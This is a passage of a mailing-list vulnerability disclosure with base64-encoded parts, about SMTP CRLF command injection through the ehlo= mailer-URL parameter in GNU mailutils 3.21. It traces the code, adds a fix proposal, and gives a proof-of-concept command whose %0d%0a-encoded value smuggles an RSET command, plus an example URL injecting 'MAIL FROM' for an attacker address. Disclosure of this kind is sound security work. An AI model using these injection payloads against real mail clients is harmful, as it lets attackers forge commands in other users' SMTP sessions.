[security] mailutils smtp: CRLF injection via ehlo= URL parameter (CWE-93), pre-auth

[email protected] Mon, 15 Jun 2026 03:25:55 -0700
Newsgroups gmane.comp.gnu.mailutils.bugs
Message-ID <[email protected]>
--===============7214776627424398608==
Content-Type: text/plain; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: base64

QWZmZWN0ZWQ6ICBHTlUgbWFpbHV0aWxzIDMuMjEgKGxhdGVzdCByZWxlYXNlKQpGaWxlczogICAg
IGxpYnByb3RvL21haWxlci9zbXRwLmM6MjIxLTIyMiAgIChlaGxvPSAtPiBtdV9zbXRwX3NldF9w
YXJhbSkKICAgICAgICAgICBsaWJtYWlsdXRpbHMvdXJsL2RlY29kZS5jOjU1ICAgICAgKG11X3N0
cl91cmxfZGVjb2RlX2lubGluZSkKICAgICAgICAgICBsaWJtYWlsdXRpbHMvc3RyaW5nL3hkZWNv
ZGUuYzoyOCAgKCVYWCBkZWNvZGVyLCBubyBhbGxvd2xpc3QpCiAgICAgICAgICAgbGlicHJvdG8v
bWFpbGVyL3NtdHBfcGFyYW0uYzo3NS04NChtdV9zbXRwX3NldF9wYXJhbSwgYmFyZSBzdHJkdXAp
CiAgICAgICAgICAgbGlicHJvdG8vbWFpbGVyL3NtdHBfZWhsby5jOjEwNS0xMDYgKG11X3NtdHBf
d3JpdGUgIkVITE8gJXNcclxuIikKICAgICAgICAgICBsaWJwcm90by9tYWlsZXIvc210cF9pby5j
OjM1LTQ0ICAgKHdyaXRlID0gbXVfc3RyZWFtX3ZwcmludGYpClNldmVyaXR5OiAgTUVESVVNIOKA
lCBTTVRQIGNvbW1hbmQgaW5qZWN0aW9uIG9uIHRoZSBvdXRib3VuZCBjbGllbnQKICAgICAgICAg
ICBzZXNzaW9uIChhdHRhY2tlciBtdXN0IGNvbnRyb2wgdGhlIG1haWxlciBVUkwgdmlhIGNvbmZp
Zy9DTEk7CiAgICAgICAgICAgaXQgYWJ1c2VzIHRoZSB1c2VyIG9wZXJhdGluZyB0aGUgbWFpbHV0
aWxzIGNsaWVudCkKQ1dFOiAgICAgICBDV0UtOTMgKENSTEYgSW5qZWN0aW9uKSwgQ1dFLTc3IChD
b21tYW5kIEluamVjdGlvbikKClJlcG9ydGVyOiAgemhhbmdwaCAoYWZsZGwpLCBpbmRlcGVuZGVu
dCBzZWN1cml0eSByZXNlYXJjaGVyCiAgICAgICAgICAgemhhbmdwaDEyMTM4QDE2My5jb20KCj09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT0KMS4gU3VtbWFyeQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09CgpUaGUgTWFpbHV0aWxzIFNNVFAgbWFpbGVyIHdyaXRl
cyB0aGUgYGVobG89YCBVUkwgcGFyYW1ldGVyIHZlcmJhdGltCmludG8gdGhlIHdpcmUgY29tbWFu
ZCBgRUhMTyA8dmFsdWU+XHJcbmAgd2l0aCBaRVJPIENSL0xGIGZpbHRlcmluZwphbnl3aGVyZSBh
bG9uZyB0aGUgcGF0aCBmcm9tIFVSTCBkZWNvZGUgdG8gc3RyZWFtIHdyaXRlLiBVUkwtZGVjb2Rl
ZApgJTBkJTBhYCBiZWNvbWVzIGEgcmVhbCBDUkxGLCBzbyBhbiBhdHRhY2tlciB3aG8gY2FuIGlu
Zmx1ZW5jZSB0aGUKbWFpbGVyIFVSTCBjYW4gaW5qZWN0IGFyYml0cmFyeSBTTVRQIGNvbW1hbmRz
IGFmdGVyIHRoZSBFSExPLgoKRUhMTyBpcyB0aGUgRklSU1QgY29tbWFuZCB0aGUgY2xpZW50IHNl
bmRzIGFmdGVyIGNvbm5lY3RpbmcsIHNvIHRoZQppbmplY3Rpb24gaXMgZnVsbHkgcHJlLWF1dGgg
YW5kIGxldHMgdGhlIGF0dGFja2VyIHByZXBlbmQgTUFJTCBGUk9NIC8KUkNQVCBUTyAvIERBVEEg
LyBTVEFSVFRMUyAvIFJTRVQgLyBRVUlUIGV0Yy4gYXMgaWYgaXNzdWVkIGJ5IHRoZQpsZWdpdGlt
YXRlIGNsaWVudC4KClRoZSBzZXZlcml0eSBpcyBNRURJVU0gcmF0aGVyIHRoYW4gaGlnaGVyIGJl
Y2F1c2UgdGhpcyBpcyBjbGllbnQtc2lkZToKdGhlIGF0dGFja2VyIG11c3QgY29udHJvbCB0aGUg
bWFpbGVyIFVSTCAoQ0xJIGFyZywgLm1haWxyYy9jb25maWcsCm9yIGEgbGlicmFyeSBjb25zdW1l
ciB0aGF0IGJ1aWxkcyB0aGUgVVJMIGZyb20gdW50cnVzdGVkIGlucHV0KSwgYW5kCnRoZSBhYnVz
ZSBpcyBvZiB0aGUgdXNlciBvcGVyYXRpbmcgdGhlIG1haWx1dGlscyBjbGllbnQsIG5vdCBvZiBh
CnJlbW90ZSBsaXN0ZW5lci4KCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT0KMi4gQWZmZWN0ZWQgY29kZSAocmVhbCBjaGFpbiwg
emVybyBmaWx0ZXJpbmcpCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT0KCkZyb20gVVJMIHRvIHdpcmUsIGV2ZXJ5IGxpbmsgcGFz
c2VzIHRoZSB2YWx1ZSB0aHJvdWdoIHVuY2hhbmdlZDoKCiAgYS4gbGlicHJvdG8vbWFpbGVyL3Nt
dHAuYzoyMjEtMjIyIOKAlCB0aGUgZWhsbz0gVVJMIHBhcmFtZXRlciBpcwogICAgIGhhbmRlZCBz
dHJhaWdodCB0byBtdV9zbXRwX3NldF9wYXJhbSB3aXRoIG5vIHZhbGlkYXRpb246CgogICAgICAg
ICBlbHNlIGlmIChzdHJuY21wKHBhcm12W2ldLCAiZWhsbz0iLCA1KSA9PSAwKQogICAgICAgICAg
ICAgbXVfc210cF9zZXRfcGFyYW0oc21wLT5zbXRwLCBNVV9TTVRQX1BBUkFNX0RPTUFJTiwKICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBhcm12W2ldICsgNSk7CgogIGIuIGxpYm1haWx1
dGlscy91cmwvZGVjb2RlLmM6NTUg4oCUIFVSTCBwYXJhbWV0ZXJzIGFyZSBkZWNvZGVkIGluCiAg
ICAgcGxhY2UgYnkgbXVfc3RyX3VybF9kZWNvZGVfaW5saW5lIChjYWxsZWQgZnJvbSBfdXJsX2Rl
Y19wYXJhbSksCiAgICAgd2hpY2ggdHVybnMgJTBkJTBhIGludG8gbGl0ZXJhbCBDUitMRi4KCiAg
Yy4gbGlibWFpbHV0aWxzL3N0cmluZy94ZGVjb2RlLmM6Mjgg4oCUIHRoZSB1bmRlcmx5aW5nICVY
WCBkZWNvZGVyCiAgICAgaGFzIG5vIGFsbG93bGlzdDsgaXQgZGVjb2RlcyBhbnkgJVhYIHRvIHRo
ZSBsaXRlcmFsIGJ5dGUuCgogIGQuIGxpYnByb3RvL21haWxlci9zbXRwX3BhcmFtLmM6NzUtODQg
4oCUIG11X3NtdHBfc2V0X3BhcmFtIGp1c3QKICAgICBzdHJkdXAoKXMgdGhlIHZhbHVlIHdpdGgg
bm8gc2FuaXRpemF0aW9uLgoKICBlLiBsaWJwcm90by9tYWlsZXIvc210cF9laGxvLmM6MTA1LTEw
NiDigJQgdGhlIHZhbHVlIGlzIGVtaXR0ZWQgd2l0aAogICAgICVzIGludG8gdGhlIHdpcmUgY29t
bWFuZDoKCiAgICAgICAgIHN0YXR1cyA9IG11X3NtdHBfd3JpdGUoc210cCwgIkVITE8gJXNcclxu
IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc210cC0+cGFyYW1bTVVfU01UUF9Q
QVJBTV9ET01BSU5dKTsKCiAgZi4gbGlicHJvdG8vbWFpbGVyL3NtdHBfaW8uYzozNS00NCDigJQg
bXVfc210cF93cml0ZSBpcwogICAgIG11X3N0cmVhbV92cHJpbnRmIHdpdGggbm8gZmlsdGVyaW5n
LgoKTk9URTogdGhlIG9ubHkgTVVfQ1RZUEVfRU5ETE4gaGFuZGxpbmcgaW4gdGhlIFNNVFAgY29k
ZSBpcyBpbgptdV9zbXRwX3Jlc3BvbnNlKCksIHdoaWNoIHBhcnNlcyBJTkJPVU5EIHNlcnZlciBy
ZXNwb25zZXMuIFRoZXJlIGlzCm5vIGVxdWl2YWxlbnQgY2hlY2sgb24gT1VUQk9VTkQgY29tbWFu
ZHMsIHdoaWNoIGlzIGV4YWN0bHkgdGhlIGdhcC4KCj09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KMy4gVmVyaWZpZWQgcmVwcm9k
dWN0aW9uIChyZWFsIGBtYWlsYCBiaW5hcnksIHJlYWwgeHhkKQo9PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CgpWZXJpZmllZCBh
Z2FpbnN0IHRoZSByZWFsIHJlYnVpbHQgYmluYXJ5CnVudGVzdGVkLXRhcmdldHMvbWFpbHV0aWxz
LTMuMjEvbWFpbC8ubGlicy9tYWlsIChNYWlsdXRpbHMgMy4yMSkKcG9pbnRlZCBhdCBhIGxvY2Fs
IGNhcHR1cmUgc2VydmVyIChuYyBsaXN0ZW5lcikuCgpUcmlnZ2VyIGNvbW1hbmQgKHRoZSBpbmpl
Y3RlZCBzZWNvbmQgY29tbWFuZCBpcyBSU0VUKToKCiAgICBtYWlsIC0tbWFpbGVyPSdzbXRwOi8v
MTI3LjAuMC4xOlBPUlQ7ZWhsbz1mb28lMGQlMGFSU0VUIGluamVjdGVkLWJ5LWVobG8tcGFyYW0l
MGQlMGFYLScgXAogICAgICAgICAtcyB0ZXN0IG5vYm9keSA8IC9kZXYvbnVsbAoKQ2FwdHVyZSAr
IGhleGR1bXAgb2YgdGhlIGxpbmUgdGhlIGNsaWVudCBhY3R1YWxseSBwdXQgb24gdGhlIHdpcmU6
CgogICAgJCB4eGQgL3RtcC9jYXB0dXJlIHwgc2VkIC1uICcxLDRwJwogICAgMDAwMDAwMDA6IDQ1
NDggNGM0ZiAyMDY2IDZmNmYgMGQwYSA1MjUzIDQ1NTQgMjA2OSAgRUhMTyBmb28uLlJTRVQgaQog
ICAgMDAwMDAwMTA6IDZlNmEgNjU2MyA3NDY1IDY0MmQgNjI3OSAyZDY1IDY4NmMgNmYyZCAgbmpl
Y3RlZC1ieS1laGxvLQogICAgMDAwMDAwMjA6IDcwNjEgNzI2MSA2ZDBkIDBhNTggMmQwZCAwYSAg
ICAgICAgICAgICAgcGFyYW0uLlgtLi4KClRoZSBgMGQgMGFgIGJ5dGVzIChjaXJjbGVkKSBhcmUg
UkVBTCBDUitMRi4gVGhlIHNlcnZlciB0aGVyZWZvcmUKc2VlcyBUV08gc2VwYXJhdGUgU01UUCBj
b21tYW5kcyBvbiB0aGUgd2lyZToKCiAgICBFSExPIGZvb1xyXG4KICAgIFJTRVQgaW5qZWN0ZWQt
YnktZWhsby1wYXJhbVxyXG4KICAgIFgtXHJcbgoKc28gdGhlIFJTRVQgaXMgcGFyc2VkIGFzIGEg
ZGlzdGluY3QsIGZ1bGx5LWZvcm1lZCBjb21tYW5kIOKAlCB0aGUKaW5qZWN0aW9uIHByaW1pdGl2
ZSBpcyBjb25maXJtZWQuCgpCYXNlbGluZSAoY29udHJvbCkgd2l0aCBhIGJlbmlnbiBlaGxvIHZh
bHVlOgoKICAgIG1haWwgLS1tYWlsZXI9J3NtdHA6Ly8xMjcuMC4wLjE6UE9SVDtlaGxvPWxlZ2l0
LmV4YW1wbGUuY29tJyAuLi4KCnByb2R1Y2VzIGV4YWN0bHkgb25lIGNvcnJlY3RseS1mb3JtZWQg
Y29tbWFuZDoKCiAgICAwMDAwMDAwMDogNDU0OCA0YzRmIDIwNmMgNjU2NyA2OTc0IDJlNjUgNzg2
MSA2ZDcwICBFSExPIGxlZ2l0LmV4YW1wCiAgICAwMDAwMDAxMDogNmM2NSAyZTYzIDZmNmQgMGQw
YSAgICAgICAgICAgICAgICAgICAgICBsZS5jb20uLgoKPT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQo0LiBSZWFjaGFiaWxpdHkg
LyBhdHRhY2sgbW9kZWwKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PQoKICAtIE5ldHdvcms6IG91dGJvdW5kIFRDUCB0byB0aGUg
U01UUCBzZXJ2ZXIgKDI1LzQ2NS81ODcpOyB0aGUKICAgIGluamVjdGlvbiBsYW5kcyBvbiB0aGUg
bGVnaXRpbWF0ZSB1c2VyJ3Mgb3duIGNsaWVudCBzZXNzaW9uLgogIC0gVGhlIGF0dGFja2VyIG11
c3QgY29udHJvbCBzb21lIHBvcnRpb24gb2YgdGhlIG1haWxlciBVUkwuIFJlYWxpc3RpYwogICAg
ZW50cnkgcG9pbnRzOiBDTEkgYC0tbWFpbGVyYCwgfi8ubWFpbHJjIGBzZXQgbWFpbGVyPWAsIGEg
bGlicmFyeQogICAgY29uc3VtZXIgdGhhdCBidWlsZHMgdGhlIFVSTCBmcm9tIHVudHJ1c3RlZCBp
bnB1dCAoZS5nLiBhIHdlYiBmb3JtKSwKICAgIG9yIGEgc2lldmUgYHJlZGlyZWN0YCB0aGF0IGlu
dGVycG9sYXRlcyBtZXNzYWdlIGRhdGEuCiAgLSBTaWJsaW5nIHZlY3RvcnMgd29ydGggY2hlY2tp
bmcgd2l0aCB0aGUgc2FtZSBmaXg6IHRoZSBgYXV0aD1gIGFuZAogICAgYGRvbWFpbj1gIFVSTCBw
YXJhbWV0ZXJzIGZsb3cgdGhyb3VnaCB0aGUgc2FtZSBzZXRfcGFyYW0gcGF0aCBhbmQKICAgIGFy
ZSBub3Qgc2FuaXRpemVkIGVpdGhlci4KCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KNS4gTm90IGZpeGVkIGluIGxhdGVzdCBj
b2RlCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT0KCiAgLSBMYXRlc3QgcmVsZWFzZSBpcyAzLjIxOyB0aGUgY2hhaW4gYWJvdmUg
aXMgcHJlc2VudCBpbiBpdC4KICAtIE1haWx1dGlscyBpcyBOT1QgY292ZXJlZCBieSBPU1MtRnV6
ei4KCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT0KNi4gU3VnZ2VzdGVkIGZpeAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CgogIC0gUHJpbWFyeTogaW4gbGli
cHJvdG8vbWFpbGVyL3NtdHAuYzoyMjEsIHZhbGlkYXRlIHRoYXQgdGhlIGBlaGxvPWAKICAgIHZh
bHVlIGNvbnRhaW5zIG5vIENSL0xGIGJlZm9yZSBjYWxsaW5nIG11X3NtdHBfc2V0X3BhcmFtIChy
ZWplY3QKICAgIG9yIHN0cmlwIHRoZSB2YWx1ZSkuCiAgLSBTdHJvbmdlcjogZmlsdGVyIENSL0xG
IChhbmQgb3RoZXIgY29udHJvbCBieXRlcykgaW5zaWRlCiAgICBtdV9zbXRwX3NldF9wYXJhbSBh
bmQvb3IgbXVfc210cF93cml0ZSBzbyB0aGUgc2FtZSBidWcgY2xhc3MgaW4KICAgIGBkb21haW49
YCwgYGF1dGg9YCwgYW5kIHRoZSBNQUlMIEZST00gLyBSQ1BUIFRPIGAlc2AgZm9ybWF0cyBpcwog
ICAgY2xvc2VkIGluIG9uZSBwbGFjZS4KCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KNy4gRGlzY2xvc3VyZQo9PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CgpS
ZXBvcnRlZCAyMDI2LTA2LTE1LiBObyBwcmlvciBwdWJsaWMgZGlzY2xvc3VyZS4KCj09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0K
OC4gQ3JlZGl0cwo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09Cgp6aGFuZ3BoIChhZmxkbCksIGluZGVwZW5kZW50IHNlY3VyaXR5
IHJlc2VhcmNoZXIuCg==

--===============7214776627424398608==
Content-Type: text/markdown; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="mailutils-smtp-ehlo-injection.md"

IyBHTlUgTWFpbHV0aWxzIDMuMjEgU01UUCBgZWhsbz1gIFVSTCBQYXJhbWV0ZXIg4oCUIFNNVFAg
Q29tbWFuZCBJbmplY3Rpb24g4oCUIFBvQwoKKipUYXJnZXQqKjogR05VIE1haWx1dGlscyAzLjIx
IChsYXRlc3Qgc3RhYmxlLCAyMDI1LTEyLTExKQoqKkZpbGUqKjogYGxpYnByb3RvL21haWxlci9z
bXRwLmM6MjIxLTIyMmAgKyBgbGlicHJvdG8vbWFpbGVyL3NtdHBfZWhsby5jOjEwNS0xMDZgCioq
U2V2ZXJpdHkqKjogKipNRURJVU0qKiDigJQgU01UUCBjb21tYW5kIGluamVjdGlvbiBvbiB0aGUg
T1VUQk9VTkQgY2xpZW50CnNlc3Npb24gKGNsaWVudC1zaWRlOiBhdHRhY2tlciBtdXN0IGNvbnRy
b2wgdGhlIG1haWxlciBVUkwgdmlhCmNvbmZpZy9DTEkvbGlicmFyeS1jb25zdW1lcjsgaXQgYWJ1
c2VzIHRoZSB1c2VyIG9wZXJhdGluZyB0aGUgbWFpbHV0aWxzCmNsaWVudCwgbm90IGEgcmVtb3Rl
IGxpc3RlbmVyKS4gVGhlIGluamVjdGlvbiBpcyBmdWxsIGFuZCBwcmUtYXV0aAooRUhMTyBpcyB0
aGUgZmlyc3QgY29tbWFuZCkuCioqQ1dFKio6IENXRS05MyAoQ1JMRiBJbmplY3Rpb24pLCBDV0Ut
NzcgKENvbW1hbmQgSW5qZWN0aW9uKQoqKlN0YXR1cyoqOiBCdWcgY29uZmlybWVkIGluICoqbGF0
ZXN0IHJlbGVhc2VkKiogMy4yMSB0YXJiYWxsCioqT1NTLUZ1enogY292ZXJhZ2UqKjogTWFpbHV0
aWxzIGlzICoqTk9UKiogaW4gT1NTLUZ1enoKCiMjIFN1bW1hcnkKClRoZSBNYWlsdXRpbHMgU01U
UCBtYWlsZXIgKGBsaWJwcm90by9tYWlsZXIvYCkgYWNjZXB0cyBhbiBgZWhsbz08dmFsdWU+YApV
UkwgcGFyYW1ldGVyIChhbmQgZXF1aXZhbGVudCBgbXVfc210cF9zZXRfcGFyYW0oTVVfU01UUF9Q
QVJBTV9ET01BSU4sIC4uLilgCnByb2dyYW1tYXRpYyBBUEkpLiBUaGUgdmFsdWUgaXMgd3JpdHRl
biB2ZXJiYXRpbSBpbnRvIHRoZSBTTVRQIHdpcmUKY29tbWFuZCBhcyBgRUhMTyA8dmFsdWU+XHJc
bmAgdmlhCmBtdV9zbXRwX3dyaXRlIChzbXRwLCAiRUhMTyAlc1xyXG4iLCBzbXRwLT5wYXJhbVtN
VV9TTVRQX1BBUkFNX0RPTUFJTl0pYAphdCBgc210cF9laGxvLmM6MTA1LTEwNmAuICoqVGhlcmUg
aXMgbm8gdmFsaWRhdGlvbiB0aGF0IGA8dmFsdWU+YCBkb2VzCm5vdCBjb250YWluIGBccmAgb3Ig
YFxuYCoqLCBhbmQgdGhlcmUgaXMgbm8gbGVuZ3RoIGNhcC4gVVJMIHBhcmFtZXRlcnMKYXJlIFVS
TC1kZWNvZGVkIGluIHBsYWNlIChgbXVfc3RyX3VybF9kZWNvZGVfaW5saW5lYCksIHNvIGEgVVJM
LWVuY29kZWQKYCUwZCUwYWAgaW4gYGVobG89YCBiZWNvbWVzIGEgcmVhbCBDUkxGIG9uIHRoZSB3
aXJlLgoKVGhpcyBpcyBhIGNvbXBsZXRlIFNNVFAgY29tbWFuZC1pbmplY3Rpb24gcHJpbWl0aXZl
OiBhbiBhdHRhY2tlciB3aG8KY29udHJvbHMgdGhlIG1haWxlciBVUkwgKG9yIGFueSBjb2RlIHBh
dGggdGhhdCBjb25zdHJ1Y3RzIGl0KSBjYW4KaW5qZWN0IGFyYml0cmFyeSBTTVRQIGNvbW1hbmRz
IGFmdGVyIHRoZSBFSExPIGNvbW1hbmQuIFdpdGggdGhlIHNhbWUKRUhMTy1sZXNzIGZhbGxiYWNr
IChgSEVMT2AgaXMgc2VudCB3aGVuIEVITE8gZ2V0cyBhIGA0eHhgIHJlcGx5KSwgdGhlCmF0dGFj
a2VyIGNhbiBhbHNvIGluamVjdCBhZnRlciBIRUxPLiBUaGUgbW9zdCBjb21tb24gd2F5IHRvIHJl
YWNoCnRoaXMgaXMgdmlhIHRoZSBVUkwgZm9ybQpgc210cDovL3VzZXI6cGFzc0BzZXJ2ZXI7ZWhs
bz1mb28lMGQlMGFNQUlMJTIwRlJPTSUzQSUzQ2F0dGFja2VyJTQwZXZpbCUzRWAsCndoaWNoIG1h
aWx1dGlscyBlbWJlZHMgaW4gbWFueSB0b29scyAobWFpbCwgc2VuZG1haWwsIHNpZXZlKS4KCiMj
IEFmZmVjdGVkIENvZGUKCioqYGxpYnByb3RvL21haWxlci9zbXRwLmM6MjIxLTIyMmAqKiDigJQg
VVJMIHBhcmFtZXRlciBoYW5kbGluZyAobm8Kc2FuaXRpemF0aW9uLCBubyBsZW5ndGggY2FwKToK
CmBgYGMKZWxzZSBpZiAoc3RybmNtcCAocGFybXZbaV0sICJlaGxvPSIsIDUpID09IDApCiAgICBt
dV9zbXRwX3NldF9wYXJhbSAoc21wLT5zbXRwLCBNVV9TTVRQX1BBUkFNX0RPTUFJTiwgcGFybXZb
aV0gKyA1KTsKYGBgCgoqKmBsaWJwcm90by9tYWlsZXIvc210cF9laGxvLmM6MTA1LTEwNmAqKiDi
gJQgd2lyZSB3cml0ZSAodXNlcwpgJXNgIGZvcm1hdCB3aXRoIGF0dGFja2VyLWNvbnRyb2xsZWQg
c3RyaW5nKToKCmBgYGMKc3RhdHVzID0gbXVfc210cF93cml0ZSAoc210cCwgIkVITE8gJXNcclxu
IiwKICAgICAgICAgICAgICAgICAgICAgICAgc210cC0+cGFyYW1bTVVfU01UUF9QQVJBTV9ET01B
SU5dKTsKYGBgCgoqKmBsaWJwcm90by9tYWlsZXIvc210cF9laGxvLmM6MTIxLTEyMmAqKiDigJQg
c2FtZSBpc3N1ZSBmb3IgdGhlIEhFTE8KZmFsbGJhY2sgKHVzZWQgd2hlbiBFSExPIGlzIHJlamVj
dGVkKToKCmBgYGMKc3RhdHVzID0gbXVfc210cF93cml0ZSAoc210cCwgIkhFTE8gJXNcclxuIiwK
ICAgICAgICAgICAgICAgICAgICAgICAgc210cC0+cGFyYW1bTVVfU01UUF9QQVJBTV9ET01BSU5d
KTsKYGBgCgoqKmBsaWJtYWlsdXRpbHMvdXJsL2RlY29kZS5jOjUwLTU3YCoqIOKAlCBVUkwgcGFy
YW1ldGVycyBhcmUgZGVjb2RlZCBpbgpwbGFjZSB2aWEgYG11X3N0cl91cmxfZGVjb2RlX2lubGlu
ZWAsIHdoaWNoIGNvbnZlcnRzIGAlMGQlMGFgIOKGkiBgXHJcbmA6CgpgYGBjCnN0YXRpYyBpbnQg
X3VybF9kZWNfcGFyYW0gKG11X3VybF90IHVybCwgc2l6ZV90IG9mZikKewogIGludCBpOwogIGZv
ciAoaSA9IDA7IGkgPCB1cmwtPmZ2Y291bnQ7IGkrKykKICAgIG11X3N0cl91cmxfZGVjb2RlX2lu
bGluZSAodXJsLT5mdnBhaXJzW2ldKTsKICByZXR1cm4gMDsKfQpgYGAKCioqYGxpYm1haWx1dGls
cy9zdHJpbmcveGRlY29kZS5jOjI4LTYxYCoqIOKAlCBhY3R1YWwgYCVYWGAgZGVjb2RlciAobm8K
YWxsb3dsaXN0OyBkZWNvZGVzIHRvIGxpdGVyYWwgYnl0ZXMpOgoKYGBgYwp2b2lkIG11X3N0cl91
cmxfZGVjb2RlX2lubGluZSAoY2hhciAqcykKewogIC4uLgogIG11X2hleHN0cjJ1bCAoJnVsLCBz
LCAyKTsKICBzICs9IDI7CiAgKmQrKyA9IChjaGFyKSB1bDsKICAuLi4KfQpgYGAKCioqYGxpYnBy
b3RvL21haWxlci9zbXRwX21haWwuYzo0NGAqKiDigJQgc2FtZSBwcmltaXRpdmUgYWxzbyBhZmZl
Y3RzCmBNQUlMIEZST01gIChkZXNjcmliZWQgc2VwYXJhdGVseSBpbiBgbWFpbHV0aWxzLXNtdHAt
bWFpbC1yY3B0LWluamVjdGlvbi5tZGApOgoKYGBgYwpzdGF0dXMgPSBtdV9zbXRwX3dyaXRlIChz
bXRwLCAiTUFJTCBGUk9NOjwlcz4iLCBlbWFpbCk7CmBgYAoKKipgbGlicHJvdG8vbWFpbGVyL3Nt
dHBfcmNwdC5jOjQzYCoqIOKAlCBzYW1lIGZvciBgUkNQVCBUT2A6CgpgYGBjCnN0YXR1cyA9IG11
X3NtdHBfd3JpdGUgKHNtdHAsICJSQ1BUIFRPOjwlcz4iLCBlbWFpbCk7CmBgYAoKIyMgV2h5IEl0
J3MgYSBCdWcKClRoZSBFSExPL0hFTE8gY29tbWFuZCBpcyB0aGUgZmlyc3QgU01UUCBjb21tYW5k
IHNlbnQgYnkgYSBjbGllbnQgYWZ0ZXIKY29ubmVjdGluZy4gQW55dGhpbmcgaW5qZWN0ZWQgYWZ0
ZXIgaXQgaXMgcHJvY2Vzc2VkIGJ5IHRoZSBzZXJ2ZXIKKipiZWZvcmUqKiB0aGUgTUFJTCBGUk9N
L1JDUFQgVE8gc3RhdGUgbWFjaGluZSBzdGFydHMsIHNvIHRoZSBhdHRhY2tlcgpjYW4gcHJlcGVu
ZCBNQUlMIEZST00sIFJDUFQgVE8sIERBVEEsIGV0Yy4gYXMgaWYgdGhleSB3ZXJlIGlzc3VlZCBi
eQp0aGUgbGVnaXRpbWF0ZSBjbGllbnQuIFRoZSBNYWlsdXRpbHMgU01UUCBjbGllbnQgdHJlYXRz
IHRoZSBTTVRQCnNlc3Npb24gYXMgYSBvbmUtc2hvdCByZXF1ZXN0IOKGkiByZXNwb25zZSBsb29w
IGFuZCBkb2VzIG5vdCBjaGVjayB0aGF0CnRoZSBzZXJ2ZXIncyByZXNwb25zZSBtYXRjaGVzIHdo
YXQgd2FzIGV4cGVjdGVkOyBpbiBwYXJ0aWN1bGFyIGl0CmRvZXMgbm90IGVuZm9yY2UgdGhhdCBg
bXVfc210cF9laGxvYCByZXR1cm5zIG9ubHkgYWZ0ZXIgdGhlIHNlcnZlcgphY2tub3dsZWRnZXMg
RUhMTy9IRUxPIGFuZCBub3QgYWZ0ZXIgdGhlIGluamVjdGVkIGNvbW1hbmRzLgoKVGhlIGBlaGxv
PWAgcGFyYW1ldGVyIGlzIGFsc28gc2V0IHZpYSB0aGUgcHJvZ3JhbW1hdGljIEFQSQpgbXVfc210
cF9zZXRfcGFyYW0oc210cCwgTVVfU01UUF9QQVJBTV9ET01BSU4sIHZhbHVlKWAsIHNvIGFueQph
cHBsaWNhdGlvbiBlbWJlZGRpbmcgTWFpbHV0aWxzIChlLmcuIHRoZSBgbWFpbGAgYW5kIGBzZW5k
bWFpbGAgQ0xJcywKdGhlIGBtdSBzbXRwYCBpbnRlcmFjdGl2ZSBkZWJ1Z2dlciwgdGhlIGBzaWV2
ZWAgYWN0aW9uIGByZWRpcmVjdGAsCm9yIGFueSBwcm9ncmFtIHVzaW5nIGBtdV9tYWlsZXJfc2Vu
ZF9tZXNzYWdlKClgIHdpdGggYSBNYWlsZXIgVVJMKQpiZWNvbWVzIGEgcG90ZW50aWFsIGluamVj
dGlvbiBwb2ludC4KCiMjIFJlYWNoYWJpbGl0eQoKKiAqKk5ldHdvcmstcmVhY2hhYmxlIG9uIFRD
UC8yNSwgNDY1IChTTVRQUyksIDU4NyAoc3VibWlzc2lvbikuKioKKiAqKlJlYWNoYWJpbGl0eSBj
b25kaXRpb25zKio6IFRoZSBhdHRhY2tlciBtdXN0IGNvbnRyb2wgKnNvbWUqIHBhcnQKICBvZiB0
aGUgU01UUCBtYWlsZXIgVVJMLiBDb21tb24gZW50cnkgcG9pbnRzOgogIDEuICoqQ0xJIGludm9j
YXRpb24qKiDigJQgYG1haWwgLS1tYWlsZXIgJ3NtdHA6Ly8uLi4/ZWhsbz0uLi4nYAogICAgIChN
YWlsdXRpbHMgYG1haWxgLCBgc2VuZG1haWxgKS4KICAyLiAqKmAubWFpbHJjYCBjb25maWcqKiDi
gJQgdXNlci1pbnN0YWxsZWQgY29uZmlnIGZpbGUgdGhhdCBzZXRzIHRoZQogICAgIGRlZmF1bHQg
bWFpbGVyLgogIDMuICoqTGlicmFyeSBjb25zdW1lcioqIOKAlCBhbnkgcHJvZ3JhbSB0aGF0IGJ1
aWxkcyB0aGUgVVJMIGZyb20KICAgICB1bnRydXN0ZWQgaW5wdXQgKGUuZy4gYSB3ZWIgZm9ybSB0
byAic2VuZCB0aGlzIHRvIG15IGVtYWlsIikuCiAgNC4gKipgc2lldmUgcmVkaXJlY3RgKiog4oCU
